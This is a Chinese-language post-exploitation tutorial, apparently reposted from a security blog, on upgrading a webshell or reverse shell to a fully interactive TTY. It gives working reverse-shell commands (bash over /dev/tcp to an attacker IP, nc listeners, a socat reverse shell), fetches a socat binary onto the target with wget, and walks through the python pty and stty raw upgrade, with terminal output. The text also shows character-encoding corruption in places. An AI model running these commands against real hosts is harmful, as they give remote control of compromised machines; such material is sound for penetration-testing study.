什么是交互式shell
交互式模式就是shell等待用戶的輸入,并且執(zhí)行用戶提交的命令。這種模式被稱作交互式是因為shell與用戶進行交互。這種模式也是大多數(shù)用戶非常熟悉的:登錄、執(zhí)行一些命令、簽退。當(dāng)用戶簽退后,shell也終止了。
shell也可以運行在另外一種模式:非交互式模式。在這種模式下,shell不與用戶進行交互,而是讀取存放在文件中的命令,并且執(zhí)行它們。當(dāng)它讀到文件的結(jié)尾,shell也就終止了。
最常見的交互式shell,就是我們利用虛擬機登錄Linux系統(tǒng)時的那個等待登錄界面
系統(tǒng)在等待我們鍵入登錄的用戶名和密碼,這就是一種交互式shell.
我們拿到的大多數(shù)webshell都是非交互式shell,能夠執(zhí)行一些命令,但是這些命令都是非交互的,也就是說不存在上下文的概念。當(dāng)我們想使用vim、top、ftp等命令時,webshell就無能為力了。
只要執(zhí)行bash命令的時候,不帶有“選項以外的參數(shù)”或者-c選項,就會啟動一個交互式shell。
通常來說,用于執(zhí)行腳本的shell都是“非交互式”的,但我們也有辦法把它啟動為“交互式”shell,方法就是在執(zhí)行bash
命令時,添加-i
選項:
[chen@localhost Temp]$ bash -c "echo \$-"
hBc
[chen@localhost Temp]$ bash -i -c "echo \$-"
himBHc
PS : echo $-時包含i 就說明開啟了一個interactive shell
實現(xiàn)交互式shell的幾種方式
https://saucer-man.com/information_security/233.html
bash -i 存在的問題
一般我們都會使用nc來接收反彈來的shell,只需要在目標上(以linux為例)執(zhí)行:
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1
本地接收一下就ok了,但是反彈回來的shell,或多或少都會存在問題,比如當(dāng)我想使用top命令時就會提示沒有 tty。簡單的來說就是沒有上下文環(huán)境,這樣的話,vim,sudo等操作都做不了
C:\Users\w5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30688
ubuntu@ubuntu:~$ whoami
whoami
ubuntu
ubuntu@ubuntu:~$ top
top
top: failed tty get
ubuntu@ubuntu:~$ tty
tty
not a tty
python pty
在’bash -i’反彈回來的shell的基礎(chǔ)上,執(zhí)行如下命令啟動python交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
可以實現(xiàn)簡單的tty,但是這種方式有個問題,當(dāng)我們ctrl+C的時候,所有連接都會斷掉,又需要重新來一遍,而且vim雖然可以用,也有點問題,同時沒有記錄,無法使用上方向鍵執(zhí)行上條命令。
升級nc為完全交互
整個流程是在第一步的基礎(chǔ)上,但是需要用到的工具在linux上,所以把攻擊機切換為linux。
現(xiàn)在攻擊機和目標機分別為:
攻擊機 Linux 192.168.81.160
目標機 Linux 192.168.81.162
簡單把反彈一個完全交互shell的過程寫出來:
# 攻擊機本地執(zhí)行
# 首先檢查當(dāng)前終端和STTY信息
$ echo $TERM
$ stty -a
# nc開啟監(jiān)聽
$ nc -lvvp 4444
# 目標機執(zhí)行
$ bash -i >& /dev/tcp/192.168.81.160/4444 0>&1
# 此時攻擊機已經(jīng)獲取到了bash
# 接下來執(zhí)行
$ python -c 'import pty; pty.spawn("/bin/bash")' //啟用python交互式
# 把它丟到后臺掛起
$ ctrl + z
# 重置stty,也就意味著你看不到輸入的內(nèi)容
$ stty raw -echo
# 把后臺掛起的程序調(diào)回前臺
$ fg
# 完全刷新終端屏幕
$ reset
# 接下來設(shè)置環(huán)境變量,根據(jù)第一步得到的環(huán)境變量來設(shè)置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行數(shù) columns 列數(shù)
到這里,就可以得到一個完美的shell了。
socat獲取pty
socat是類Unix系統(tǒng)下的一個工具,可以看作是 nc 的加強版。我們可以使用socat來傳遞完整的帶有tty的TCP連接。缺點也很明顯,只能在linux下面運行
下載地址:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
使用起來也很簡單。
攻擊機:
# 首先安裝
$ sudo apt install socat
# 執(zhí)行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
目標機:
# 把socat上傳到目標機器上或者直接下載
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 運行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
這種方式基本和ssh類似,ctrl+C也不會直接斷開。
script獲取pty
我們可以使用 Linux 系統(tǒng)下的 script
命令,在彈回來的 shell 下創(chuàng)建一個帶有 tty 的 shell, 這樣就可以勉強使用一下 top
和 vim
:文章來源:http://www.zghlxwxcb.cn/news/detail-430419.html
$ script /dev/null
如果不加 /dev/null
的話,會在當(dāng)前路徑下生成一個名字是 typescript
的文件,記錄著在 script 生命周期里你執(zhí)行的所有命令和結(jié)果。文章來源地址http://www.zghlxwxcb.cn/news/detail-430419.html
C:\Users\w5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567
ubuntu@ubuntu:~$ tty
tty
not a tty
ubuntu@ubuntu:~$ script /dev/null
script /dev/null
Script started, file is /dev/null
ubuntu@ubuntu:~$ tty
tty
/dev/pts/1
到了這里,關(guān)于交互式shell的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!